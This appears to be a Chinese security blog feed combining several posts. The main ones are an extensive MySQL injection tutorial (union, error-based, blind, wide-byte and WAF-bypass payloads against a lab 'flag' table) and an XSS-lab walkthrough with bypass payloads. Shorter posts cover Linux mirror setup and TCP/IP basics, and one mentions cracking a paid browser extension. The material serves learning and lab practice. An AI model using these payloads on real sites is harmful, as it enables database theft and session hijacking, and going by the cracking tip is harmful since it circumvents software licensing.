SQL:select username,password from user union select id from user;
因为前面查询的是username,password两个列,后面值查询了id一个列,所以抛出错误。
order by 主要是根据列名来排序,默认按照升序对结果集进行排序;也可以使用desc关键字来对结果集进行降序排序
在SQL注入中常常被利用来检测返回多少列,当order by根据一个不存在的列排序会报错,所以可以用来查询列的数量;为union联合查询做准备。
SQL:select * from user order by 5;
上面的SQL语句之所以会报错,是因为user表里面没有5个列,但我们使用第5个列来进行升序排序,所以报错。从而判断出该SQL语句返回4列。
order by 也可以直接使用列名来排序,这样的方式可以用来爆列名。比如:select * from user order by id;
使用desc来进行奖项排序 select * from user order by id desc;
information_schema库是MySQL服务器自带的一个数据库,它提供了访问MySQL数据库元信息的方式,记录了MySQL服务器中的所有数据库名、表名、列名;这是学习MySQL注入必须掌握的一个知识点。
schemata表记录了所有数据库的,列名为schema_name
tables表记录了所有的表名,列名为table_name;包括该表属于那个数据库,列名为table_schema
columns表记录了所有的列名,列名为column_name;数据库名称列名table_name;表名称列名为table_schema。
基本流程:判断类型=>猜列数=>测回显=>爆库名=>爆表名=>爆列名=>爆数据
通过加单引号的的方式判断类型,在正常返回的语句上加入单引号,如果返回异常,则为字符型,反之为数字型注入。
通过输入单引号返回异常,我们判断该注入为数字型注入。
通过使用order by排序来判断返回列数;返回正常加列数,返回异常减列数
输入4正常返回,5不能正常返回,所以判断返回4个列。
paylaod:-1 union select 1,2,3,4;
id为-1的目的时为了上前面的语句报错,顺利的输出联合查询后面的语句。
1,2,3,4是上面得到四个列,因为联合查询前后的语句列数必须相等。
通过回显我发现回显位置在2和3上,在2和3上做注入查询。
使用MySQL自带的函数,database()来查看当前使用的数据库;通过回显确定当前使用的数据库为web数据库。
payload:-1 union select 1,table_name,3,4 from information_schema.tables where table_schema='web';
通过查询information_schema数据库的tables表的table_name列来返回表名,条件是web数据库的表。
payload:-1 union select 1,column_name,3,4 from information_schema.columns where table_name='user' and table_schema='web'
查询information_schema数据库的columns表的column_name列来返回列名,限制查询web数据库的user表。
查询user表里的id列的值。
什么是报错注入:当计算机接收到非预期的输入就会报错,所以可以利用数据库的报错机制,人为的构造一些错误,让数据库把敏感信息爆出。
优点:当使用union联合查询被过滤时,可以使用报错注入,对列的数量没有要求
缺点:大多数情况下都会屏蔽报错信息,一旦屏蔽了报错信息,那就无法使用报错注入了
XML是一门可扩展标记语言,用于传输和存储数据;XML元素与HTML的格式类似,但是XML格式要求更严格
1 | <user> |
extractvlue(XML_document,Xpath_str) 是用来提取XML数据的
参数一:XML_document XML对象可以是XML文件或者XML字符串
参数二:Xpath_str Xpath是格式的字符串select extractvalue('<user><username>admin</username><password>qwe123</password></user>','/user/username');
updatexml (XML_document,Xpath_string,new_value) 替换数据
参数一:XML_document XML对象可以是XML文件或者XML字符串
参数二:Xpath_str Xpath是格式的字符串
参数三:new_value 替换查找到的字符串
concat(字符串1,字符串2,字符串n) 该函数是用来连接字符串。
group_concat函数将多行结果合并成1一行,用逗号分隔,常用函数!
substr函数将一个字符串截取,返回截取后的字符串
用法:substr(源字符串,开始,截取长度)
如果忽略参数三,截取到字符串末尾
子查询也叫内查询、嵌套查询,是一种嵌套在其他语句中进行的查询,在报错注入中使用最多。
子查询规则:必须在括号内,子查询的select语句中,只能有一个列,除非主查询有多个列
实例:select(flag)from(flag);
payload:id = 1 and (extractvalue(1,concat(0x5c,(select user()))))#
payload:id = 1 and (extractvalue(1,concat(0x5c,(select database()))))#
payload:id=1 and (extractvalue(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='web'))))%23
payload:id=1 and (extractvalue(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name='flag'))))%23
payload:id=1 and (extractvalue(1,concat(1,(select flag from flag))))%23
由于报错注入最多只能返回32位字符,所以我们使用substr来截取后面部分。
payload:id=1 and (extractvalue(1,concat(1,(select substr(flag,30) from flag))))%23
payload:id= 1 and (updatexml(1,concat(1,(select user())),1))%23
payload分析:
参数一:随便写,不合法即可
参数二:concat连接的非xpath格式字符串,sql语句
参数三:随便写,不合法即可
payload:id= 1 and (updatexml(1,concat(1,(select database())),1))%23
payload:id= 1 and (updatexml(1,concat(1,(select group_concat( table_name) from information_schema.tables where table_schema='web')),1))%23
这里使用的是group_concat来合并两行内容,当group_concat被屏蔽时,可以使用limit来一行一行输出。
payload:id= 1 and (updatexml(1,concat(1,(select table_name from information_schema.tables where table_schema='web' limit 0,1)),1))%23
payload:id= 1 and (updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name='flag')),1))%23
构造好payload后修改关键部分即可使用。
payload:id= 1 and (updatexml(1,concat(1,(select flag from flag)),1))%23
拿到表名,列名即可构造查询语句来爆出值,显示不全使用substr。如果是root账号登录还可以跨数据库查询。
取整,不进行四舍五入,忽略小数位返回整数部分。select floor(0.8);==>0
select floor(1.8);==>1
返回匹配条件的行数,一般和group by使用
分组查询,把相同的列放在一起
使用count函数和group by函数返回列数
产生有个0-1的随机数,格式select rand();
如果固定种子,产生的相同的数。
limit函数用来限制sql语句的返回行数。
格式:limit 开始行,结束行(索引从0开始)
payload:id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x) a)
payload分析:
整条语句是一个大的select,最外层select的列名和表名随便写,不存在即可;第二层select是报错层,错误在这层select产生;user()是我们可以修改的语句,可以嵌套select,使用()包裹select合法语句。上面的语句可以当模板使用。
payload:id=1 and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x) a)
直接使用database()函数即可查询当前使用的数据库,这是最有效和最快的方法。
payload:id=1 and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='web' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x) a)
使用()包裹新的select查询语句,报错注入中不能使用group_concat函数(或者说我还没学到),需要使用limit来控制输出行数,一行一行的输出表名,拿到我们想要的表名即可。
payload:id=1 and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name='user' and table_schema='web' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x) a)
该payload在爆表名的基础上修改列名和查询表,以及where查询条件即可。
由于我的web数据库中的user表和mysql数据库的user表冲突,所以加上and语句。
payload:id=1 and (select 1 from (select count(*),concat((select flag from flag limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x) a)
这个很简单,就是替换一条查询语句,把列名和表替换成我们想读取的即可,当然也可以加入where条件,达到我们的预期效果;只要是合法的sql语句即可,再次又一次突出sql基础的重要性,你的sql水平决定你的sql注入水平。
name_const函数是给变量赋值
用法:select name_const(‘name’,’test’);
可以用来重复列名报错注入。只能拿到数据库版本
利用:select (select * from (select (name_const(version(),1)),name_const(version(),1))a);
以下函数版本限制:MySQL < 5.5.47
payload:id = 1 and EXP(~(select * from (select user())a))
如果版本在5.5.47以下,会回显数据,但如果版本高于5.5.47,不会爆出语句执行结果;高版本可以使用这个特性来进行报错盲注。
当页面不会把数据显示出来时,需要用到盲注;盲注分为布尔盲注和延时盲注。
substr函数 用于截取字符串,在前面我们已经使用过
用法:substr(str,pos,len)
参数一:需要截取的源字符串
参数二:开始截取的字符串下标,下标从1开始
参数三:截取长度,如果被忽略,则截取后面全部
if函数 和大多数编程语言一致,都是条件判断函数
用法:select if(exp1,exp2,exp3)
参数一:if判断条件
参数二:条件为真返回结果
参数三:条件为假返回结果
ascii函数 该函数返回一个字符的ascii函数,如果传递的参数有多个字符串,则返回第一个字符串的ascii值
用法:ascii(str)
参数一:str为字符,ascii的返回值在0-255之间
length函数 与大部分编程语言一致,返回字符串长度
用法:length(str)
sleep()函数 让程序带在当前位置停顿,停顿时间由参数决定,单位是秒
用法:select sleep(5);
benchmark函数,重复执行表达式多少次
用法:benchmark(x,exp) 表达式exp执行x次
通过执行多次来达到sleep的效果
布尔盲注:人为的构造一个判断条件,条件为真正常返回,条件为假返回异常;利用这个特性,就可以根据我们的输入来逐个判断数据库中的数据。
先猜数据库名称长度:
payload:id=1 and length(database())=1
database()函数会返回当前数据库名,使用length()函数取数据库字符长度和1比较;如果当前数据库长度不等于1,则返回假,由于and运算符一个为假结果为假,所以页面显示异常。
然后猜数据
payload:id=1 and length(database())=1
database()函数会返回当前数据库名,使用length()函数取数据库字符长度和1比较;如果当前数据库长度不等于1,则返回假,由于and运算符一个为假结果为假,所以页面显示异常。
payload:id=1 and if((ascii(substr((database()),1,1))=119),1,0)
构造payload的时候,把格式构造好,然后逐个添加值,这样括号不容易出错。
119是我们猜测数据库的第一个字母的ascii值,值可以是0-255(一般从32开始到127);修改substr的第二个来控制数据库名的第几位;
一般使用脚本来完成这件事,当然使用burp的爆破工具是最省事的。
1 | import requests,re |
先猜表名长度
payload:id=1 and if((select length(table_name) from information_schema.tables where table_schema='web' limit 0,1)=4,1,0)
只能使用limit一条条数据猜解,使用burp的intruder模块的数值递增来完成爆破。
猜表名内容
payload:id=1 and if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema='web' limit 0,1)=1,1,0)
通过修改第二个比较值来获得字符的ascii码;通过修改substr的参数2来实现其他几个字符的爆破
payload构造过程:
1 | id=1 and if(x=1,1,0)//构造框架 |
列名长度
payload:id=1 and if((select length(column_name) from information_schema.columns where table_schema='web' and table_name='user' limit 0,1)=1,1,0)
使用猜表名长度的payload修改列名和表名即可得到猜列名长度的payload。当修改了limit参数后if比较值2递增到100以上,猜测没有这个列,由此可得该表有多少列。
列名名称
payload:id=1 and if((select ascii(substr(column_name,1,1)) from information_schema.columns where table_schema='web' and table_name='user' limit 0,1)=1,1,0)
和猜表名名称大同小异,需要注意的是一个表中会存在多个列名,通过修改limit的参数1来控制猜第几个。通过循环猜列名长度和列名名称来爆出所有列。
猜长度
payload:id=1 and if((select length(flag) from flag)=1,1,0)
猜值
payload:id=1 and if((select ascii(substr(flag,1,1)) from flag)=1,1,0)
修改对应的参数来获取对于的值
当返回无回显,并且只有一种返回结果时,这种情况需要延时盲注;根据服务端响应的时间,来猜测数据;相对来说效率较低,因为需要使用延时函数。
延时盲注和布尔盲注的paylaod区别就是把if为真返回的参数改为延时函数(if函数参数2),来达到响应延时的效果。
猜长度payload:id=1 and (select if((length(database()))=3,sleep(2),0))
猜名称payload:id=1 and (select if((ascii(substr(database(),1,1)))=119,sleep(2),0))
实现原理了布尔盲注一致,不在叭叭\
1 | import requests,time |
由于表存在多个,我们使用group_concat函数来查询,思路:表名称长度合集的长度==>表长度合集内容==>所有表名称长度合集==>表名称
猜表名称长度合集的长度payload:id=1 and (select if((select length(group_concat(length(table_name)))length from information_schema.tables where table_schema='web')=1,sleep(2),0))
比如表1是@n,长度x;表2是@m,长度y。所以他们的的长度合集是”x,y”,该paylaod爆出”x,y”的长度,接下来爆出”x,y”的值,当然这种方法表名长度超过10不适用。
表长度合集内容:id=1 and (select if((select ascii(substr(group_concat(length(table_name)),1,1)) from information_schema.tables where table_schema='web')=1,sleep(2),0))
通过修改该payload爆出长度合集,格式”4,4”。这样就知道了有几个表。当然也可以直接爆名称,当32-127都没有匹配时,即可停止
所有表名称长度合集:
数据库中有两个表,两个表名称长度都为4。4+4+一个逗号,所以所有表名称长度为8+1,我们需要控制substr参数2从1到8来爆出表名。写完我才发现,我好像多走了一步,直接爆表名称合集长度,然后爆内容即可,写都写好就不改了,知道怎么用就行了。
爆表名称:id=1 and (select if((select ascii(substr(group_concat(table_name),1,1)) from information_schema.tables where table_schema='web')=102,sleep(2),0))
只需要把表长度合集内容的payload的length参数去掉即可。
修改猜表名的列名和表名即可,不在赘述。
和布尔型盲注大同小异,不在赘述。学会原理就可,没必要一定拿到flag。我之前就是这种杠精(哈哈哈)
下面使用and短路特性,and运算只有两个表达式都为true结果才为true,程序是从前往后执行的,当前面的表达式返回flase时,and运行就不会继续向后运算。
payload:select length(database())=3 and sleep(2);
当数据库名长度为3时,会执行sleep函数,造成延时。
当数据库名长度不为3时,程序会返回不执行sleep函数。
当if语句被过滤时,可以使用,但我感觉and方式更简单(小声bb)
mysql中存在多种整数类型,分别是:tinyint,smallint,mediumint,int,bigint。
在5.5版本之前,超过最大整数,数据库不会报错;5.5之后的版本才会报错。
exp函数 返回e的X次方的值,多少次方由参数决定,当exp的参数大于709时,返回大于最大整数,导致报错。
用法:exp(5)实例:selecp exp(5);e = 2.71828183
payload原型:id=1 and exp(709+C-ascii(substr((select database()),1,1)));
分析:709是exp可计算最大的值,当exp参数大于709就会报错;通过控制C来爆出数据库名,当数据库名的ascii码小于C时就会报错
数学公式:709+C-ascii()=710
也知C,则ascii()=709+c-710
假设数据库报错时C为120,根据公式推算ascii()为119,119通过解码得到’w’,由此可得数据库第一个字母为’w’。上面只是为了搞清原理:ascii()=C-1
上述方法适用于C递增,也可以使用C递减;使用C递减时,当数据库不报错时,C的值等于ascii()值
1 | 库名长度 |
1 | #库名 |
1 | #表名 |
1 | #列名 |
1 | #数据 |
url编码 主要用于URL中,对字符进行编码。编码原理:字符的ASCII值得16进制,再在前面加上一个%,\是宽字节注入的重点,%5c
GBK全称叫汉字内码扩展规范,GBK编码共收录21886个汉字和图像符号,其中汉字21003个,图形符号883个
主要重点:GBK是一种多字符编码,编码一个汉字需要两个字节,并且汉字编码的第一个字节大于128
unicode编码的出现:计算机在刚刚出现的时候,只有ASCII码,随着计算机的使用越来越广泛,就产生了许多新的编码方式,不如GB2312 BIG5 Shif_JIS 后来为了统一这些编码方式,出现了unicode编码。
unicode编码和utf8的关系:utf8编码是unicode编码的一种实现方式,根据不同的unicode字符,用1-6个字节来编码
主要重点:utf8编码汉字,编码一个汉字使用三个字节
宽字节注入主要用于字符型注入 单引号别转义的情况,常用的转义函数有addslashes() mysql_real_escape_string() mysql_escape_string() 作用是将单引号转义,来防止sql注入。
宽字节注入原理:利用MySQL在进行数据传输时,编码的不一致,导致了转义字符被吃掉,形成sql注入。
反斜杠\的16进制是5c,当我们在前面加上%df,组合成%df%5c,当MySQL使用了gbk编码,MySQL会认为df5c是一个汉字,这样就会把刚刚转义添加的反斜杠吃掉。
username=admin%df’ 转义username=admin' GBK重编码 username=admin運’
注意:第一个字节的范围要大于128,比如说%df,才能达到汉字的范围。
与union联合注入相似,都是使用order by来才是列数,使用union测试回显位。
列数payload:username=admin%df%27 order by 3%23&password=admin
回显payload:username=admin%df%27 union select 1,2,3%23&password=admin
这种有回显的注入都不需要猜长度,能直接回显,非常简单,可以跳过爆库名,直接使用database()
paylaod:username=admin%df%27 union select 1,database(),3%23&password=admin
由于where也要使用引号来包含,下面直接使用database()函数,这也是最省事的方法。
paylaod:username=admin%df%27 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23&password=admin
把表名使用16进制编码,即可绕过单引号,得加上0x表示该字符串是16进制。
paylaod:username=admin%df%27 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x666c6167%23&password=admin
payload:username=admin%df%27 union select 1,flag,3 from flag%23&password=admin
该种情况主要是用于过滤空格使用
换行符,可以起到一个换行得作用,比如:\n \d
常用的换行符经过url编码后:%0a %0b %0c %0d
为什么需要url编码:如果不进行url编码,程序会把\n当作一个字符,也就是说不能起到换行的作用,换行符需要url编码一下,经过php时,php会自动解码,就变成了一个换行符。
payload:username=dir'%0aunion%0aselect%0a1,2,3%23&password=admin
把空格用换行符替换即可,小技巧:可以先打空格,然后搜索替换成换行符的url编码
用注释符代替空格,把所有的空格替换换行符就行,但必须多行注释,因为需要闭合,如果单行注释拿后面的语句会被注释掉,多行注释:/**/
payload:username=dir'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()%23&password=admin
括号在MySQL是用来包围子查询的,任何可以计算出结果的语句,都可以用括号包裹;括号绕过和上面两个利用方法不同。
select()1;错误
select(1);正确
payload:id=(1)and(if(((ascii(substr(database(),1,1)))=119),1,0))%23
因为union联合查询不能使用括号,所有只能使用布尔报错盲注。
加入select查询的pyaload:id=(1)and(if(((ascii(substr((select(flag)from(flag)),1,1)))=1),1,0))%23
sql注入中需要使用到逗号的三个地方:函数的参数分割使用逗号,limit使用逗号,union联合查询使用逗号,但后台对逗号进行了过滤,就得绕过过滤规则。
实例:substr(str,1,1) | limit 0,1 | union select 1,2,3
from for 主要是用在函数内,用来截取第几个字符;from for主要是用于绕过substr的逗号,主要用于盲注。
用法:substr(database()form x for y) 从x开始截取y个字符,x相当于substr的参数2,y相当于substr的参数3。
payload:id=1 and ascii(substr((select flag from flag)from 1 for 1))=102
limit offset绕过使用场景:当过滤了group_concat和limit 0,1时,可以使用limit offset绕过。
用法:limit rouw_count offset offser;rou_count返回多少行,offset 偏移量,就是从第几行开始返回,从0开始。刚好和limit 0,1反过来。
payload原型:id=1 and ascii(substr((select table_name from information_schema.tables where table_schema='web' limit 0,1),1,1))=102
payload绕过:id=1 and ascii(substr((select table_name from information_schema.tables where table_schema='web' limit 1 offset 0)from 1 for 1))=102
派生表:MySQL在进行子查询是,会产生一个派生表,他的sqlect语句产生一个虚拟表,也外部没有关系,产生的结果传给外部的select查询。
实例:select * from ((select 1)a,(select 2)b);
使用join连接派生表,在通过子查询来查询我们想要的结果。在回显位里面构造sql语句即可获取数据库中的所有数据。
payload:dir' union select * from ((select 1)a join (select database())b join (select 3)c)%23
等号使用场景:=主要用于盲注中,用来判断数据的大小是否相等,所以我们可以从判断数据大小的角度入手,找到绕过方法。
> <
号是用来进行数据比较的,可以使用大小于号绕过。
第一种:id=1 and ascii(substr((select database()),1,1))>119%23
如果使用递增方式,当回显异常时数据正确;如果使用递减方式,当回显正常时数据+1正确
第二种:id=1 and ascii(substr((select database()),1,1))<119%23
如果使用递增方式,当回显正常时数据-1正确;如果使用递减方式,当回显异常时数据正确
第三种:id=1 and ascii(substr((select database()),1,1))<>119%23
当两者不等时,返回正常;当两者相等时,返回异常。返回异常则数据正确
第四种:id=1 and !(ascii(substr((select database()),1,1))<>119)%23
使用非运行达到相等的结果,虽然有点抽象,但理解后就是等号的效果
strcmp函数 用来比较两个字符串或数字,如果相等返回0。还有-1和1的返回值,这里就用0
payload:id=1 and strcmp((ascii(substr((select database()),1,1))),119)
in函数 查询文字是否在字符串中存在,存在返回1,不存在返回0
paylaod:id=1 and ascii(substr((select database()),1,1)) in (119)
异或注入 主要用于检测关键字是否被过滤,在之前绕过waf的学习中,都是提示了某些关键字是否被过滤;如果不提示,该如何去判断关键字是否被过滤。
第一种:挨个试,把每个关键字都输入一遍,如果访问失败和关键字被过滤的返回结果一样,就无法判断关键字是否被过滤。
第二种:异或注入
什么是异或:相同返回0,不同返回非0
用法:select 1^2;
payload:id=1 ^ (length('union')=5)
当union被过滤时,length(‘union’)的长度不等于5,返回0;1^0返回1,此时有输出
当union未过滤时,length(‘union’)的长度等于5,返回1;1^1返回0,此时无输出
结论:当关键词过过滤时,回显正常;当关键词未被过滤时,回显异常
期待结果:回显异常
备份当前源:mv /etc/apt/sources.list /etc/apt/sources.list.bak
编辑更新源:vim /etc/apt/sources.list
按 “i” 进入插入模式,编辑完成按”ESC”退出编辑模式,输入”:wq”保存文件
1 | 阿里云 |
Debian其他更新源:Debian GNU/Linux 换源
备份当前源:mv /etc/apt/sources.list /etc/apt/sources.list.bak
编辑更新源:vim /etc/apt/sources.list
按 “i” 进入插入模式,编辑完成按”ESC”退出编辑模式,输入”:wq”保存文件
1 | 阿里云 |
Ubuntu其他更新源:Ubuntu18.04更换国内源(阿里,网易,中科大,清华等源
备份当前源:mv /etc/apt/sources.list /etc/apt/sources.list.bak
编辑更新源:vim /etc/apt/sources.list
按 “i” 进入插入模式,编辑完成按”ESC”退出编辑模式,输入”:wq”保存文件
阿里云更新源:
1 | 阿里云 |
参考文章:Linux:centos7 更新源
]]>无过滤
<script>alert(1)</script>
<h2 align=center>欢迎用户’”<>?Die</h2><center><img src=level1.png></center>
观察我们输入的字符串’”<>?Die
,没有做任何编码就输出到前台,考虑后台可能没有做任何过滤和编码。
1 | $str = $_GET["name"]; |
$str = $_GET["name"];
获取前台传来的name变量赋值给$str
echo "<h2 align=center>欢迎用户".$str."</h2>";
没有做任何过滤直接将$str
拼接到h2标签中输出,由此可见构成XSS漏洞。
构造闭合
Die"><script>alert(1)</script>"
1 | <h2 align=center>没有找到和'"<>()Die相关的结果.</h2><center> |
观察我们输入的字符串’”<>?Die
,<h2>
标签中把"<>
实体编码了,继续搜索Die看到<input>
标签没有被过滤,构造<input>
闭合即可形成XSS。
1 | $str = $_GET["keyword"]; |
<h2>
标签中使用htmlspecialchars
函数进行了编码,但我们发现<input>
是直接使用$str
拼接的,构造payload闭合<input>
即可造成XSS。
构造闭合、绕过编码
Die' onclick='alert(1)'>
1 | <h2 align=center>没有找到和'"<>()Die相关的结果.</h2><center> |
根据level2的经验,猜测<input>
已进行htmlspecialchars
编码,使用onclick
点击动作执行js,输入后点击编辑框造成XSS。
1 | $str = $_GET["keyword"]; |
htmlspecialchars
对"<>
进行编码,只要不使用到这几个符号就能绕过htmlspecialchars
编码过滤,造成XSS。
构造闭合、绕过编码、单双引号
Die" onclick='alert(1)'>
1 | <h2 align=center>没有找到和'"<>()Die相关的结果.</h2><center> |
<h2>
标签就被进行是htmlspecialchars
编码,没法构造闭合。我们看<input>
标签,直接把<>
给干掉了,所以不能用<>
,感觉和level3相似。直接输入level3的payload试试。无果,>
被干掉了。后来我又发现value="
后面是双引号,第三题是单引号。直接把单引号换成双引号即可。后面的>
被干掉也没事,本身还有一个>
1 | $str = $_GET["keyword"]; |
阅读代码发现传入的参数被用str_replace
函数把<>
替换为空后使用htmlspecialchars
函数编码后拼接到<input>
标签输出。我们把level3的payload中的单引号'
改成双引号"
即可造成XSS,但我感觉这是非预期解法,谷歌一波。
后来在这里找到了解法,绕过<>
检测,构造onmouseover
事件,事件会在鼠标指针移动到指定的元素上时发生。构造语句闭合,成功执行javascript语句。payload:Die" onmouseover="javascript:alert(1)"
使用a标签,href伪协议即可绕过检测
Die"> <a href='javascript:alert(1)'>"
1 | <h2 align=center>没有找到和die" onclick='alert(1)'相关的结果.</h2><center> |
直接输入level4的payload,发现onclick
的o和n中间加了一个下划线,导致onclick
不能正常解释。猜测只要有on就会被加_
,试了一下果真如此,尝试大小写绕过,无果,全局小写。然后想到的就是找一个类似功能的来实现XSS,但我html基础太差。度娘吧~
百度搜索”html事件属性”,全是on开头, 阿巴阿巴~ 后来看了大佬的思路,发现没有对尖括号过滤,构造pyaload:Die" <script>alert(1)</script>
提交,发现又对script进行了处理。
因为我们可以构造闭合,所以构造一个a标签,使用伪协议绕过。javascript
中也有script
,为啥不过滤呢?小小的脑子,大大的诱惑!
1 | $str = strtolower($_GET["keyword"]); |
看了后台代码,上面提出的问题自然就解决了,后台只过滤固定的<script
,而javascript
不符合规则,所以能绕过。解题思路已经在上面给出了,使用a标签即可实现XSS漏洞。
大写绕过
Die" Onclick='alert(1)'
1 | <h2 align=center>没有找到和on <script> href相关的结果.</h2><center> |
根据level5的经验,直接输入on <script> herf
点击搜索,结果可想而知,全部被干掉了。尝试大小写绕过,Href On <Script>
大小写可以绕过,喜出望外。
1 | $str = $_GET["keyword"]; |
这次的代码没有转小写strtolower
,利用大写即可绕过,当我发现还过滤data
的时候,我就看出来了我知识还不够,我好像还没用过data
。
双写绕过
die" oonnclick='alert(1)'
1 | <h2 align=center>没有找到和on <script> herf相关的结果.</h2><center> |
根据上面的经验,再次输入on <script> herf
点击搜索。发现on
和script
直接被替换成空,但是href
没有被替换,我们再使用a标签试试。发现script
还是被干了,试试双写。绕过成功,顺利进行下一关!
1 | $str =strtolower( $_GET["keyword"]); |
这关的考点就是str_replace
函数,所以本地试一下。
由实验结果可得,str_replace
函数只会进行一次替换,所以使用双写绕过。
HTML实体编码绕过
javascript:alert(1)
1 | <input name=keyword value="die" oonnclick='alert(1)'"> |
level8前台风格都变了,可能难度升级了。go~go~go~,别管那么多先把level7的payload输入进去看看结果,发现两个地方都有返回,猜测考点可能在a标签上,直接输入javascript:alert(1)
试试,发现javascript
被替换成javascr_ipt
,试试大小写和双写绕过,都无果。最后使用HTML实体编码进行绕过,在线网站点这里
1 | $str = strtolower($_GET["keyword"]); |
str_replace
函数我们见的已经够多了,把参数3中出现参数1的字符串用参数2替换。这次连双引号"
已进行了实体编码,这关考点就是HTML实体编码,所以度娘恶补HTML实体编码的姿势。
HTML实体编码、注释代码
javascript:alert(1)//http://
1 | <input name=keyword value="die\" oonnclick=\'alert(1)\'http://"> |
经过我的不断摸索,发现必须包含http://
,否则就会<a href="您的链接不合法?有没有!">
,并且对<>"'
等符号进行处理,当前是不能构造闭合,根据level8的经验咱试试html实体编码,前台不会解码。我们看后台代码把~阿巴阿巴
1 | $str = strtolower($_GET["keyword"]); |
看了后台代码,符合我们之前的猜想,level9在level8的基础上加了一个http://
检测,那我们在level8的payload后面加一个http://
,虽然绕过了检测,但是破坏了html的语法。度娘吧~
查看大佬解析得知,在level8的payload后面加一个//http://
即可绕过,因为后台规定必须包含http://
,但如果直接加上,会破坏html的语法,所以加//
注释掉后面的语句。
1
1 | <h2 align=center>没有找到和\'\"<>相关的结果.</h2><center> |
我们发现有三个input
标签,但是type(类型)
是hidden
,我们把它删了,显示出来三个编辑框。
【图片】
我们构造三个get参数请求http://172.19.4.8/xss-lab/level10.php?keyword=1&t_link=Die&t_link=Die&t_sort=Die
,t_sort
顺利解析,下面就是构造payload
1 | <input name="t_link" value="" type="hidden"> |
1
1
人们经常将跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。因此,有人将跨站脚本攻击缩写为XSS。
跨站脚本攻击(XSS),是最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。
攻击者可以使用户在浏览器中执行其预定义的恶意脚本,其导致的危害可想而知,如劫持用户会话,插入恶意内容、重定向用户、使用恶意软件劫持用户浏览器、繁殖XSS蠕虫,甚至破坏网站、修改路由器配置信息等。
XSS漏洞可以追溯到上世纪90年代。大量的网站曾遭受XSS漏洞攻击或被发现此类漏洞,如Twitter、Facebook、MySpace、Orkut、新浪微博和百度贴吧。研究表明,最近几年XSS已经超过缓冲区溢出成为最流行的攻击方式,有68%的网站可能遭受此类攻击。根据开放网页应用安全计划(Open Web Application Security Project)公布的2010年统计数据,在Web安全威胁前10位中,XSS排名第2,仅次于代码注入(Injection)。
危害:存储型>反射型>DOM型
存储型
攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。这就意味着只要访问了这个页面的访客,都有可能会执行这段恶意脚本,因此储存型XSS的危害会更大。因为存储型XSS的代码存在于网页的代码中,可以说是永久型的。一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。
反射型
反射型是最为常见的XSS漏洞类型,它是一种非持久性的攻击,它指的是恶意攻击者往Web页面里插入恶意代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的目的。这里插入的恶意代码并没有保存在目标网站,需要引诱用户点击一个链接到目标网站的恶意链接来实施攻击。
参考文章:反射型XSS
参考文章:DOM-XSS攻击原理与防御
数据交互的地方:
数据输出的地方:
输入一些javascript脚本或者特殊符号,查看前台代码是否过滤,无过滤则漏洞可能存在XSS漏洞。
]]> ISO/OSI模型,即开放式通信系统互联参考模型(Open System Interconnection Reference Model),是国际标准化组织(ISO)提出的一个试图使各种计算机在世界范围内互连为网络的标准框架,简称OSI。
TCP/IP协议模型(Transmission Control Protocol/Internet Protocol),包含了一系列构成互联网基础的网络协议,是Internet的核心协议,通过20多年的发展已日渐成熟,并被广泛应用于局域网和广域网中,目前已成为事实上的国际标准。TCP/IP协议簇是一组不同层次上的多个协议的组合,通常被认为是一个四层协议系统,与OSI的七层模型相对应。
应用层
应用层决定了向用户提供应用服务时通信的活动。 应用层负责处理特定的应用程序细节。
TCP/IP 协议族内预存了各类通用的应用服务。比如,FTP(File Transfer Protocol,文件传输协议)和 DNS(Domain Name System,域名解析)服务就是其中两类。 HTTP 协议也处于该层。
传输层
传输层对上层应用层,提供处于网络连接中的两台计算机之间的数据传输。
在传输层有两个性质不同的协议:TCP(Transmission Control Protocol,传输控制协议)和 UDP(User Data Protocol,用户数据报 协议)。
网络层
网络层用来处理在网络上流动的数据包。数据包是网络传输的最小数 据单位。该层规定了通过怎样的路径(所谓的传输路线)到达对方计 算机,并把数据包传送给对方。
与对方计算机之间通过多台计算机或网络设备进行传输时,网络层所 起的作用就是在众多的选项内选择一条传输路线。
利用 TCP/IP 协议族进行网络通信时,会通过分层顺序与对方进行通 信。发送端从应用层往下走,接收端则往应用层往上走。
我们用 HTTP 举例来说明,首先作为发送端的客户端在应用层 (HTTP 协议)发出一个想看某个 Web 页面的 HTTP 请求。
接着,为了传输方便,在传输层(TCP 协议)把从应用层处收到的数 据(HTTP 请求报文)进行分割,并在各个报文上打上标记序号及端 口号后转发给网络层。
在网络层(IP 协议),增加作为通信目的地的 MAC 地址后转发给链 路层。这样一来,发往网络的通信请求就准备齐全了。
接收端的服务器在链路层接收到数据,按序往上层发送,一直到应用 层。当传输到应用层,才能算真正接收到由客户端发送过来的 HTTP 请求。
发送端在层与层之间传输数据时,每经过一层时必定会被打上一个该 层所属的首部信息。反之,接收端在层与层传输数据时,每经过一层 时会把对应的首部消去。
这种把数据信息包装起来的做法称为封装(encapsulate)。
]]>
另一个我没用过,不知道有没有收费。这两个是我安装的hack插件,免费的用来解码,很好用
由于hackbar是收费版本,学网安的花这冤枉钱干啥嘛,所以拉出Google就是搜索。真让我搜到了破解方法
修改\djmoeoifnlhjolebkehmpaocfnipknbh\2.2.8_0\theme\js\hackbar-panel.js第45行和52行如下修改即可
